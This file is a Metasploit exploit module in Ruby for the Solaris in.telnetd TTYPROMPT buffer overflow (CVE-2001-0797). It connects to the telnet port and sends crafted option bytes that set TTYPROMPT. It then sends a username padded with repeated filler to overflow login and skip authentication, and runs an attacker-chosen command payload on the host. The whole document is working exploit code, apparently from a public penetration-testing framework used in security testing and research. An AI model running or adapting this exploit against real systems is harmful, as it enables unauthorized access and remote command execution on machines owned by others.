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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
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      'Description'    => %q{
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        This module uses a buffer overflow in the Solaris 'login'
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      application to bypass authentication in the telnet daemon.
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      },
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      'Author'         => [ 'MC', 'cazz' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2001-0797'],
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          [ 'OSVDB', '690'],
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          [ 'BID', '5531'],
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        ],
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      'Privileged'     => false,
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      'Platform'       => %w{ solaris unix },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 2000,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          ['Automatic', { }],
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        ],
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      'DisclosureDate' => '2002-01-18',
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      'DefaultTarget' => 0))
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      register_options(
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        [
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          Opt::RPORT(23),
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          OptString.new('USER', [ true, "The username to use",     "bin" ]),
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        ])
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  end
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  def exploit
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    connect
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    banner = sock.get_once
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    print_status('Setting TTYPROMPT...')
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    req =
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      "\xff\xfc\x18" +
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      "\xff\xfc\x1f" +
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      "\xff\xfc\x21" +
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      "\xff\xfc\x23" +
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      "\xff\xfb\x22" +
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      "\xff\xfc\x24" +
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      "\xff\xfb\x27" +
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      "\xff\xfb\x00" +
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      "\xff\xfa\x27\x00" +
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      "\x00TTYPROMPT" +
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      "\x01" +
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      rand_text_alphanumeric(6) +
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      "\xff\xf0"
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    sock.put(req)
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    select(nil,nil,nil,0.25)
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    print_status('Sending username...')
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    filler = rand_text_alpha(rand(10) + 1)
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    req << datastore['USER'] + (" #{filler}" * 65)
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    sock.put(req + "\n\n\n")
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    select(nil,nil,nil,0.25)
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    sock.get_once
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    sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
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    select(nil,nil,nil,0.25)
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    handler
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  end
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end
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